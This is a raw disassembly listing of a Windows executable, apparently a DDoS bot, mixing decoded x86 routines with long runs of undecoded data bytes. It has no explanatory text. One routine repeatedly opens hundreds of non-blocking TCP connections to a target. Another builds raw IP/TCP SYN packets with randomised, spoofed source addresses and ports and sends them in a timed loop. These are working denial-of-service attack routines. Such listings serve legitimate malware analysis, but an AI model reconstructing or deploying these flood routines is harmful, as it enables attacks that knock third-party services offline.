		retn
sub_412B09	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		push	dword ptr [esp+10h]
		call	sub_40AAFA
		push	dword ptr [esp+18h]
		mov	esi, eax
		call	sub_41B779
		push	dword ptr [esp+24h]
		mov	ebx, eax
		call	sub_41B779
		mov	edi, eax
		call	sub_41B8E2
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		push	dword ptr [esp+2Ch]
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_412B09
		add	esp, 20h
		test	eax, eax
		jnz	short loc_412E8F
		push	1
		pop	eax


loc_412E8F:				; CODE XREF: ___:00412E8Aj
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
word_412E9E	dw 8B55h		; DATA XREF: sub_401ACD+6722o
		dd 0BCEC81ECh, 53000003h, 8458B56h, 8B686A57h, 0BD8D59F0h
		dd 0FFFFFE44h, 685B016Ah, 0FFh,	0A5F3036Ah, 9889026Ah
		dd 19Ch, 0B6D415FFh, 0F883004Ch, 0FC4589FFh, 15FF5F75h
		dd 4CB5E8h, 44858D50h, 68FFFFFCh, 436314h, 8994E850h, 0FF330000h
		dd 390CC483h, 2075DC7Dh, 44858D57h, 0FFFFFFFCh,	8D50D875h
		dd 0FFFF4885h, 0B5FF50FFh, 0FFFFFE44h, 0FF6B5AE8h, 14C483FFh
		dd 0FC44858Dh, 0E850FFFFh, 2285h, 0E8C875FFh, 0FFFF84E3h
		dd 0E8575959h, 22DD0C8h, 0F44D8D90h, 3351046Ah,	57026AFFh
		dd 0F45D8950h, 0B63415FFh
		db 4Ch,	0
word_412F4E	dw 0F883h		; DATA XREF: ___:off_43A86Co
		dd 0FF5D75FFh, 4CB5E815h, 858D5000h, 0FFFFFC44h, 4362E468h
		dd 1BE85000h, 83000089h, 7D390CC4h, 572075DCh, 0FC44858Dh
		dd 75FFFFFFh, 858D50D8h, 0FFFFFF48h, 44B5FF50h,	0E8FFFFFEh
		dd 0FFFF6AE3h, 8D14C483h, 0FFFC4485h, 0EE850FFh, 0FF000022h
		dd 6CE8C875h, 59FFFF84h, 0E8905759h, 22DD050h, 0FE48858Dh
		dd 0FF50FFFFh, 4CB69415h, 0FFF88300h, 858D5575h, 0FFFFFC44h
		dd 4362C468h, 0B3E85000h, 39000088h, 5959DC7Dh,	8D572075h
		dd 0FFFC4485h, 0D875FFFFh, 48858D50h, 50FFFFFFh, 0FE44B5FFh
		dd 7CE8FFFFh, 83FFFF6Ah, 858D14C4h, 0FFFFFC44h,	21A7E850h
		dd 75FF0000h, 8405E8C8h, 5959FFFFh, 0E9E89057h,	6A022DCFh
		dd 0E4458D10h, 6DE85057h, 83000085h, 0C7660CC4h, 2E445h
		dd 5415FF57h, 66004CB6h, 8DE64589h, 0FFFE4885h,	15FF50FFh
		dd 4CB694h, 70A8358Bh, 45890042h, 87D89E8h, 4589D6FFh
		dd 2BD6FFF8h, 0D233F845h, 3E8B9h, 3BF1F700h, 870FD045h
		dd 194h, 41C68h, 0C805C600h, 45004CE3h,	0B65415FFh, 7D39004Ch
		dd 0CAA366D4h, 66004CE3h, 0E3CC1D89h, 8966004Ch, 4CE3CE3Dh
		dd 0D005C600h, 80004CE3h, 0E3D11D88h, 8966004Ch, 4CE3D23Dh
		dd 0E8307400h, 8832h, 0E3C1D88Bh, 8828E808h, 0D8030000h
		dd 0E808E3C1h, 881Eh, 0E3C1D803h, 8814E808h, 0D8030000h
		dd 1D89016Ah, 4CE3D4h, 0FF18EB5Bh, 0FFFE44B5h, 7B2AE8FFh
		dd 5059FFFFh, 0B69415FFh, 0D4A3004Ch, 8B004CE3h, 0D8A3E845h
		dd 0E8004CE3h, 87E2h, 100B999h,	0F9F70000h, 0E3DC1588h
		dd 0CFE8004Ch, 99000087h, 100B9h, 88F9F700h, 4CE3DD15h
		dd 87BCE800h, 0B9990000h, 0F0h,	40068h,	66F9F700h, 0E3DE3D89h
		dd 8966004Ch, 4CE3E21Dh, 89664200h, 4CE3E015h, 8794E800h
		dd 0B9990000h, 0FFh, 6852F9F7h,	4CE3E4h, 842FE8h, 0CC48300h
		dd 6AE4458Dh, 68575010h, 41Ch, 4CE3C868h, 0FC75FF00h, 0B6B815FFh
		dd 0F883004Ch, 0FF0874FFh, 0CAE90845h, 0FFFFFFFEh, 15FFFC75h
		dd 4CB6ECh, 0B5E815FFh,	8D50004Ch, 0FFFE4885h, 875FFFFh
		dd 627C6850h, 858D0043h, 0FFFFFC44h, 20068h, 0C5E85000h
		dd 83000087h, 7D3918C4h, 572075DCh, 0FC44858Dh,	75FFFFFFh
		dd 858D50D8h, 0FFFFFF48h, 44B5FF50h, 0E8FFFFFEh, 0FFFF6893h
		dd 8D14C483h, 0FFFC4485h, 0BEE850FFh, 0FF00001Fh, 1CE8C875h
		dd 59FFFF82h, 0E8905759h, 22DCE00h, 0FFFC75FFh,	4CB6EC15h
		dd 8458B00h, 0C06BD233h, 0C1C88B3Ch, 75F70AE8h,	14E9C1D0h
		dd 858D5051h, 0FFFFFE48h, 500875FFh, 0FEC8858Dh, 8D50FFFFh
		dd 0FFFC4485h, 623068FFh, 0E8500043h, 8646h, 391CC483h
		dd 2075DC7Dh, 44858D57h, 0FFFFFFFCh, 8D50D875h,	0FFFF4885h
		dd 0B5FF50FFh, 0FFFFFE44h, 0FF680EE8h, 14C483FFh, 0FC44858Dh
		dd 0E850FFFFh, 1F39h, 0E8C875FFh, 0FFFF8197h, 0E8575959h
		dd 22DCD7Ch
		db 90h
byte_413285	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+5510o
		dd 10320B8h, 888EE800h,	458B0000h, 57565308h, 0F08B496Ah
		dd 0BCBD8D59h, 0F3FFFFFEh, 5F016AA5h, 120B889h,	15FF0000h
		dd 4CB5DCh, 8D084589h, 0FFFF4085h, 15FF50FFh, 4CB694h
		dd 0DB33F08Bh, 0FE83C033h, 8D1175FFh, 0FFFF4085h, 15FF50FFh
		dd 4CB6D8h, 674C33Bh, 0FF087D83h, 858D5D75h, 0FFFFFF40h
		dd 0BC858D50h, 68FFFFFCh, 43636Ch, 8588E850h, 0C4830000h
		dd 0D85D390Ch, 8D532075h, 0FFFCBC85h, 0D475FFFFh, 0C0858D50h
		dd 50FFFFFEh, 0FEBCB5FFh, 50E8FFFFh, 83FFFF67h,	858D14C4h
		dd 0FFFFFCBCh, 1E7BE850h, 75FF0000h, 80D9E8D0h,	5959FFFFh
		dd 0CCBEE857h, 3B90022Dh, 8B0C74C3h, 8B0C40h, 4589008Bh
		dd 8903EBFCh, 1C6AFC75h, 53E0458Dh, 822EE850h, 4D830000h
		dd 0DCB8FFE8h, 830000FFh, 45390CC4h, 89037EC4h,	7D39C445h
		dd 89037DC8h, 0F633C87Dh, 7EC05D39h, 0C875FF26h, 6AE0458Dh
		dd 8D53501Ch, 0FEFCE085h, 0C475FFFFh, 0FC75FF50h, 0FF0875FFh
		dd 4CB56C15h, 753B4600h, 0FFDA7CC0h, 15FF0875h,	4CB70Ch
		dd 0FF40858Dh, 8D50FFFFh, 0FFFCBC85h, 634068FFh, 0E8500043h
		dd 84BAh, 390CC483h, 2075D85Dh,	0BC858D53h, 0FFFFFFFCh
		dd 8D50D475h, 0FFFEC085h, 0B5FF50FFh, 0FFFFFEBCh, 0FF6682E8h
		dd 14C483FFh, 0FCBC858Dh, 0E850FFFFh, 1DADh, 0E8D075FFh
		dd 0FFFF800Bh, 90535959h, 2DCBEFE8h
		db 2
byte_413411	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+575Co
		dd 10310B8h, 8702E800h,	458B0000h, 57565308h, 0F08B496Ah
		dd 0CCBD8D59h, 0F3FFFFFEh, 5E016AA5h, 120B089h,	0E8900000h
		dd 228D431h, 8492E850h,	6A590000h, 6A026A11h, 0D415FF02h
		dd 8B004CB6h, 6AFF33D8h, 0F0458D10h, 2DE85057h,	83000081h
		dd 858D0CC4h, 0FFFFFF50h, 0F045C766h, 0FF500002h, 4CB69415h
		dd 0FFF88300h, 75084589h, 50858D75h, 50FFFFFFh,	0B6D815FFh
		dd 0C73B004Ch, 858D5D75h, 0FFFFFF50h, 0CC858D50h, 68FFFFFCh
		dd 4363C0h, 83DCE850h, 0C4830000h, 0E87D390Ch, 8D572075h
		dd 0FFFCCC85h, 0E475FFFFh, 0D0858D50h, 50FFFFFEh, 0FECCB5FFh
		dd 0A4E8FFFFh, 83FFFF65h, 858D14C4h, 0FFFFFCCCh, 1CCFE850h
		dd 75FF0000h, 7F2DE8E0h, 5959FFFFh, 0CB12E856h,	8B90022Dh
		dd 8B0C40h, 458D03EBh, 39008B08h, 4589DC7Dh, 0E81175F4h
		dd 83DAh, 0FFDCB999h, 0F9F70000h, 3EB5242h, 0FFDC75FFh
		dd 4CB65415h, 0DC753900h, 0F2458966h, 7589037Dh, 0FFFFB8DCh
		dd 45390000h, 89037EDCh, 458BDC45h, 990A6AD0h, 39F9F759h
		dd 4589D87Dh, 890375D0h, 0F633D875h, 7ED47D39h,	838CE81Ah
		dd 0B9990000h, 0FFh, 3B46F9F7h,	9488D475h, 0FEFCEF35h
		dd 8BE67CFFh, 4DFFD045h, 7EC085D0h, 5E0B6A55h, 6AF0458Dh
		dd 0E8575010h, 835Eh, 59990A6Ah, 458BF9F7h, 50C22BD4h
		dd 0FCF0858Dh, 5350FFFEh, 0B6B815FFh, 75FF004Ch, 0D9A8E8D8h
		dd 4E900226h, 7D39CE75h, 0E8BC75DCh, 832Eh, 0FFDCB999h
		dd 0F9F70000h, 15FF5242h, 4CB654h, 0F2458966h, 858DA1EBh
		dd 0FFFFFF50h, 0CC858D50h, 68FFFFFCh, 436394h, 82A4E850h
		dd 0C4830000h, 0E87D390Ch, 8D572075h, 0FFFCCC85h, 0E475FFFFh
		dd 0D0858D50h, 50FFFFFEh, 0FECCB5FFh, 6CE8FFFFh, 83FFFF64h
		dd 858D14C4h, 0FFFFFCCCh, 1B97E850h, 75FF0000h,	7DF5E8E0h
		dd 5959FFFFh, 0C9DAE857h
		db 2Dh,	2, 90h
byte_413627	db 55h			; DATA XREF: sub_401ACD+4DEDo
		dd 0EC81EC8Bh, 414h, 5608458Bh,	85B957h, 0F08B0000h, 0FDECBD8Dh
		dd 0A5F3FFFFh, 21080C7h, 10000h, 858D0000h, 0FFFFFEF0h
		dd 70858D50h, 50FFFFFEh, 0FDF0858Dh, 0E850FFFFh, 120h
		dd 500CC483h, 0FBEC858Dh, 0E868FFFFh, 50004363h, 8209E8h
		dd 83F63300h, 75390CC4h, 562075F8h, 0FBEC858Dh,	75FFFFFFh
		dd 858D50F4h, 0FFFFFF70h, 0ECB5FF50h, 0E8FFFFFDh, 0FFFF63CFh
		dd 8D14C483h, 0FFFBEC85h, 0FAE850FFh, 0FF00001Ah, 58E8F075h
		dd 59FFFF7Dh, 0E8905659h, 22DC93Ch
; ---------------------------------------------------------------------------
		pop	edi
		pop	esi

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4136C6	proc near		; CODE XREF: ___:004137AFp

var_654		= byte ptr -654h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 654h
		push	10h
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_14], 2
		push	[ebp+arg_4]
		call	dword_4CB654
		mov	[ebp+var_12], ax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_8]
		test	eax, eax
		mov	[ebp+var_4], 1
		jle	short loc_413784
		push	ebx
		push	esi
		push	edi
		mov	[ebp+arg_4], eax
		mov	edi, 190h


loc_413711:				; CODE XREF: sub_4136C6+B9j
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_413719:				; CODE XREF: sub_4136C6+7Aj
		push	0
		push	1
		push	2
		nop
		call	near ptr 71AB3C22h
		cmp	eax, 0FFFFFFFFh
		mov	[esi], eax
		jz	short loc_41373C
		lea	ecx, [ebp+var_4]
		push	ecx
		push	8004667Eh
		push	eax
		call	near ptr 71AB155Ah
		nop


loc_41373C:				; CODE XREF: sub_4136C6+64j
		add	esi, 4
		dec	ebx
		jnz	short loc_413719
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_41374A:				; CODE XREF: sub_4136C6+96j
		lea	eax, [ebp+var_14]
		push	10h
		push	eax
		push	dword ptr [esi]
		nop
		call	near ptr 71AB3E5Dh
		add	esi, 4
		dec	ebx
		jnz	short loc_41374A
		push	64h
		nop
		call	near ptr 2680F4Eh
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_41376E:				; CODE XREF: sub_4136C6+B4j
		push	dword ptr [esi]
		call	near ptr 71AB1A6Dh
		nop
		add	esi, 4
		dec	ebx
		jnz	short loc_41376E
		dec	[ebp+arg_4]
		jnz	short loc_413711
		pop	edi
		pop	esi
		pop	ebx


loc_413784:				; CODE XREF: sub_4136C6+3Ej
		xor	eax, eax
		leave
		retn
sub_4136C6	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		push	dword ptr [esp+10h]
		call	sub_40AAFA
		push	dword ptr [esp+18h]
		mov	edi, eax
		call	sub_41B779
		push	dword ptr [esp+20h]
		mov	ebx, eax
		call	sub_41B779
		mov	esi, eax
		push	esi
		push	ebx
		push	edi
		call	sub_4136C6
		add	esp, 18h
		test	eax, eax
		jnz	short loc_4137BE
		push	1
		pop	eax


loc_4137BE:				; CODE XREF: ___:004137B9j
		cdq
		mov	ecx, 3E8h
		pop	edi
		idiv	ecx
		cdq
		idiv	esi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
byte_4137CD	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+644Ao
		dd 414EC81h, 458B0000h,	0B9575608h, 85h, 0BD8DF08Bh, 0FFFFFDECh
		dd 80C7A5F3h, 210h, 1, 0FEF0858Dh, 8D50FFFFh, 0FFFE7085h
		dd 858D50FFh, 0FFFFFDF0h, 310E850h, 0C4830000h,	858D500Ch
		dd 0FFFFFBECh, 43641468h, 63E85000h, 33000080h,	0CC483F6h
		dd 75F87539h, 858D5620h, 0FFFFFBECh, 50F475FFh,	0FF70858Dh
		dd 0FF50FFFFh, 0FFFDECB5h, 6229E8FFh, 0C483FFFFh, 0EC858D14h
		dd 50FFFFFBh, 1954E8h, 0F075FF00h, 0FF7BB2E8h, 565959FFh
		dd 0C796E890h, 5E5F022Dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41386C	proc near		; CODE XREF: ___:00413B5Ap

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= dword	ptr -58h
var_50		= word ptr -50h
var_4E		= word ptr -4Eh
var_4C		= dword	ptr -4Ch
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= word ptr -34h
var_32		= word ptr -32h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_27		= byte ptr -27h
var_26		= word ptr -26h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= byte ptr -20h
var_1E		= word ptr -1Eh
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_4CB5C4
		test	eax, eax
		jz	short loc_4138AC
		xor	eax, eax
		jmp	loc_413B1A
; ---------------------------------------------------------------------------


loc_4138AC:				; CODE XREF: sub_41386C+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_4CB6F8
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_C], eax
		jz	loc_413B12
		push	esi
		lea	ecx, [ebp+var_38]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_38], edi
		call	dword_4CB634
		cmp	eax, 0FFFFFFFFh
		jz	loc_413B08
		push	10h
		lea	eax, [ebp+var_50]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_50], 2
		push	[ebp+arg_8]
		call	dword_4CB654
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_4E], ax
		mov	[ebp+var_4C], esi
		mov	[ebp+var_20], 45h
		call	dword_4CB654
		push	[ebp+arg_8]
		mov	[ebp+var_1E], ax
		mov	[ebp+var_1C], di
		mov	[ebp+var_1A], bx
		mov	[ebp+var_18], 80h
		mov	[ebp+var_17], 6
		mov	[ebp+var_16], bx
		mov	[ebp+var_10], esi
		call	dword_4CB654
		push	4000h
		mov	[ebp+var_32], ax
		mov	[ebp+var_2C], ebx
		mov	[ebp+var_28], 50h
		mov	[ebp+var_27], 2
		call	dword_4CB654
		mov	[ebp+var_26], ax
		lea	eax, [ebp+var_40]
		push	eax
		mov	[ebp+var_22], bx
		mov	[ebp+arg_8], ebx
		nop
		call	near ptr 27A0000h
		lea	eax, [ebp+var_8]
		push	eax
		nop
		call	near ptr 2790A92h
		push	[ebp+var_3C]
		mov	eax, [ebp+arg_C]
		cdq
		push	[ebp+var_40]
		push	edx
		push	eax
		call	sub_41D280
		add	eax, [ebp+var_8]
		mov	esi, edx
		adc	esi, [ebp+var_4]
		mov	[ebp+var_58], eax


loc_413997:				; CODE XREF: sub_41386C+25Dj
					; sub_41386C+26Bj
		mov	[ebp+var_24], bx
		call	sub_41B8E2
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_4CB654
		mov	[ebp+var_34], ax
		call	sub_41B8E2
		mov	edi, eax
		shl	edi, 10h
		call	sub_41B8E2
		or	edi, eax
		push	edi
		call	dword_4CB654
		movzx	eax, ax
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_4CB650
		push	14h
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_10]
		pop	edi
		push	edi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_4CB654
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_14]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40AC69
		mov	[ebp+var_24], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41C310
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40AC69
		mov	[ebp+var_16], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		add	esp, 14h
		lea	eax, [ebp+var_50]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_C]
		call	dword_4CB6B8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_413ADC
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_8]
		push	eax
		nop
		call	near ptr 2790A92h
		mov	eax, [ebp+var_4]
		cmp	eax, esi
		jg	short loc_413B05
		jl	loc_413997
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_58]
		jnb	short loc_413B05
		jmp	loc_413997
; ---------------------------------------------------------------------------


loc_413ADC:				; CODE XREF: sub_41386C+247j
		call	dword_4CB5E8
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset dword_43643C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_4151AD
		add	esp, 10h
		jmp	short loc_413B08
; ---------------------------------------------------------------------------


loc_413B05:				; CODE XREF: sub_41386C+25Bj
					; sub_41386C+269j
		mov	ebx, [ebp+arg_8]


loc_413B08:				; CODE XREF: sub_41386C+78j
					; sub_41386C+297j
		push	[ebp+var_C]
		call	dword_4CB6EC
		pop	esi


loc_413B12:				; CODE XREF: sub_41386C+5Bj
		call	dword_4CB5AC
		mov	eax, ebx


loc_413B1A:				; CODE XREF: sub_41386C+3Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_41386C	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		push	dword ptr [esp+10h]
		call	sub_40AAFA
		push	dword ptr [esp+18h]
		mov	esi, eax
		call	sub_41B779
		push	dword ptr [esp+20h]
		mov	ebx, eax
		call	sub_41B779
		mov	edi, eax
		call	sub_41B8E2
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_41386C
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_413B69
		push	1
		pop	eax


loc_413B69:				; CODE XREF: ___:00413B64j
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
dword_413B78	dd 81EC8B55h, 394ECh, 8458B00h,	656A5756h, 8DF08B59h, 0FFFE6CBDh
					; DATA XREF: sub_401ACD+6E45o
		dd 0C7A5F3FFh, 19080h, 100h, 0F0858D00h, 50FFFFFEh, 7BD0E8h
		dd 8D505900h, 0FFFE7085h, 15FF50FFh, 4CB694h, 5DE850h
		dd 59590000h, 6C858D50h, 68FFFFFCh, 43645Ch, 7CB4E850h
		dd 0F6330000h, 390CC483h, 2075F875h, 6C858D56h,	0FFFFFFFCh
		dd 8D50F475h, 0FFFF7085h, 0B5FF50FFh, 0FFFFFE6Ch, 0FF5E7AE8h
		dd 14C483FFh, 0FC6C858Dh, 0E850FFFFh, 15A5h, 0E8F075FFh
		dd 0FFFF7803h, 0E8565959h, 22DC3E8h, 555E5F90h,	0EC81EC8Bh
		dd 98h,	6A575653h, 0A5835901h, 0FFFFFF78h, 83046A00h, 5E00A865h
		dd 0FFBBh, 33066A00h, 7D8D5AC0h, 7C8D89ACh, 0C7FFFFFFh
		dd 28045h, 75890000h, 88558984h, 88C45C7h, 0C7000000h
		dd 0C9045h, 45C70000h, 1194h, 9845C700h, 16h, 299C45C7h
		dd 0C7000000h, 3AA045h,	5D890000h, 0B04589A4h, 0D47D8DABh
		dd 89B44589h, 45C7B845h, 2000BCh, 0C0758900h, 0C7C45589h
		dd 3FFFC845h, 4D890000h, 0D04589CCh, 0ABD84D89h, 100BFh
		dd 0AE85700h, 59000093h, 57FC4589h, 6815FF50h, 0FF004CB6h
		dd 15FFFC75h, 4CB6D8h, 530C408Bh, 26A036Ah, 8B008Bh, 0FFF44589h
		dd 4CB6D415h, 0D84D8D00h, 26A5156h, 8950006Ah, 15FFFC45h
		dd 4CB634h, 200BEh, 0D2E85600h,	8B000077h, 4270A83Dh, 45895900h
		dd 89D7FFF8h, 458BF045h, 29A6808h, 85890000h, 0FFFFFF6Ch
		dd 6885C766h, 2FFFFFFh,	5415FF00h, 66004CB6h, 0FF6A8589h
		dd 0D7FFFFFFh, 33F0452Bh, 3E8B9D2h, 0F1F70000h,	0F0C453Bh
		dd 0CF87h, 7B90E800h, 8B990000h, 8BF9F7CBh, 0FF25F445h
		dd 0C100FFFFh, 0D00B18E2h, 0E8F45589h, 7B76h, 0F7CB8B99h
		dd 0AC5589F9h, 7B69E8h,	0A4B99900h, 0C600001Fh,	0F745DC45h
		dd 0DD45C6F9h, 0D4558904h, 7B51E8h, 45896600h, 7B48E8E0h
		dd 0A6A0000h, 0F9F75999h, 95448B66h, 15FF50B0h,	4CB654h
		dd 45896656h, 5415FFE2h, 66004CB6h, 88DE4589h, 1FE8E45Dh
		dd 6A00007Bh, 0F759990Eh, 8A146AF9h, 0FF789584h, 4588FFFFh
		dd 0F4458BE5h, 8BE84589h, 45890845h, 0DC458DECh, 6E7FE850h
		dd 8966FFFFh, 458DE645h, 50146ADCh, 0E8F875FFh,	8514h
		dd 8D14C483h, 0FFFF6885h, 50106AFFh, 0FF56006Ah, 75FFF875h
		dd 0B815FFFCh, 0E9004CB6h, 0FFFFFF1Ah, 0E8F875FFh, 728Dh
		dd 0FC75FF59h, 0B6EC15FFh, 16A004Ch, 5B5E5F58h
; ---------------------------------------------------------------------------
		leave
		retn
; ---------------------------------------------------------------------------
word_413E36	dw 8B55h		; DATA XREF: sub_401ACD+53E9o
		dd 40EC81ECh, 8B000004h, 56530845h, 8B686A57h, 0BD8D59F0h
		dd 0FFFFFDC0h, 16AA5F3h, 8D5EDB33h, 0FFFF61BDh,	890E6AFFh
		dd 19CB0h, 0C0335900h, 0FF609D88h, 0ABF3FFFFh, 8BAAAB66h
		dd 4270A83Dh, 50D7FF00h, 7A57E8h, 0FF685900h, 6A000000h
		dd 0FF026A03h, 4CB6D415h, 0FFF88300h, 75FC4589h, 0E815FF66h
		dd 50004CB5h, 0FBC0858Dh, 7468FFFFh, 50004365h,	79D5E8h
		dd 0CC48300h, 0FF589D39h, 2375FFFFh, 0C0858D53h, 0FFFFFFFBh
		dd 0FFFF54B5h, 858D50FFh, 0FFFFFEC4h, 0C0B5FF50h, 0E8FFFFFDh
		dd 0FFFF5B97h, 8D14C483h, 0FFFBC085h, 0C2E850FFh, 0FF000012h
		dd 0FFFF44B5h, 751DE8FFh, 5959FFFFh, 1E89053h, 8D022DC1h
		dd 46ACC4Dh, 53026A51h,	0CC758950h, 0B63415FFh,	0F883004Ch
		dd 0FF6675FFh, 4CB5E815h, 858D5000h, 0FFFFFBC0h, 43653C68h
		dd 57E85000h, 83000079h, 9D390CC4h, 0FFFFFF58h,	8D532375h
		dd 0FFFBC085h, 54B5FFFFh, 50FFFFFFh, 0FEC4858Dh, 0FF50FFFFh
		dd 0FFFDC0B5h, 5B19E8FFh, 0C483FFFFh, 0C0858D14h, 50FFFFFBh
		dd 1244E8h, 44B5FF00h, 0E8FFFFFFh, 0FFFF749Fh, 90535959h
		dd 2DC083E8h, 0C4858D02h, 50FFFFFDh, 0B69415FFh, 0F883004Ch
		dd 8D5E75FFh, 0FFFBC085h, 651C68FFh, 0E8500043h, 78E6h
		dd 0FF589D39h, 5959FFFFh, 8D532375h, 0FFFBC085h, 54B5FFFFh
		dd 50FFFFFFh, 0FEC4858Dh, 0FF50FFFFh, 0FFFDC0B5h, 5AA9E8FFh
		dd 0C483FFFFh, 0C0858D14h, 50FFFFFBh, 11D4E8h, 44B5FF00h
		dd 0E8FFFFFFh, 0FFFF742Fh, 90535959h, 2DC013E8h, 8D106A02h
		dd 5053BC45h, 7597E8h, 0CC48300h, 0BC45C766h, 0FF530002h
		dd 4CB65415h, 45896600h, 0C4858DBEh, 50FFFFFDh,	0B69415FFh
		dd 4589004Ch, 85D89C0h,	4589D7FFh, 2BD7FFD0h, 0D233D045h
		dd 3E8B9h, 3BF1F700h, 0FFFF4C85h, 0AA870FFFh, 6A000002h
		dd 0D445C628h, 5415FF45h, 39004CB6h, 0FFFF509Dh, 458966FFh
		dd 758966D6h, 5D8966D8h, 0DC45C6DAh, 0DD45C680h, 5D896606h
		dd 0E82D74DEh, 7872h, 0E6C1F08Bh, 7868E808h, 0F0030000h
		dd 0E808E6C1h, 785Eh, 0E6C1F003h, 7854E808h, 0F0030000h
		dd 7589016Ah, 16EB5EE0h, 0FDC0B5FFh, 6DE8FFFFh,	59FFFF6Bh
		dd 9415FF50h, 89004CB6h, 458BE045h, 489D39C0h, 89FFFFFFh
		dd 1075E445h, 7821E8h, 1B99900h, 0F7000004h, 6EB52F9h
		dd 0FF48B5FFh, 15FFFFFFh, 4CB654h, 0EA458966h, 7801E8h
		dd 1B99900h, 0F7000004h, 15FF52F9h, 4CB654h, 34567868h
		dd 45896612h, 5015FFE8h, 89004CB6h, 858DEC45h, 0FFFFFE44h
		dd 42B28C68h, 0EDE85000h, 59000077h, 7459C085h,	0F05D8909h
		dd 2F545C6h, 858D5CEBh,	0FFFFFE44h, 42B0C468h, 0CDE85000h
		dd 59000077h, 7459C085h, 0F05D8909h, 10F545C6h,	858D3CEBh
		dd 0FFFFFE44h, 42B0BC68h, 0ADE85000h, 59000077h, 7459C085h
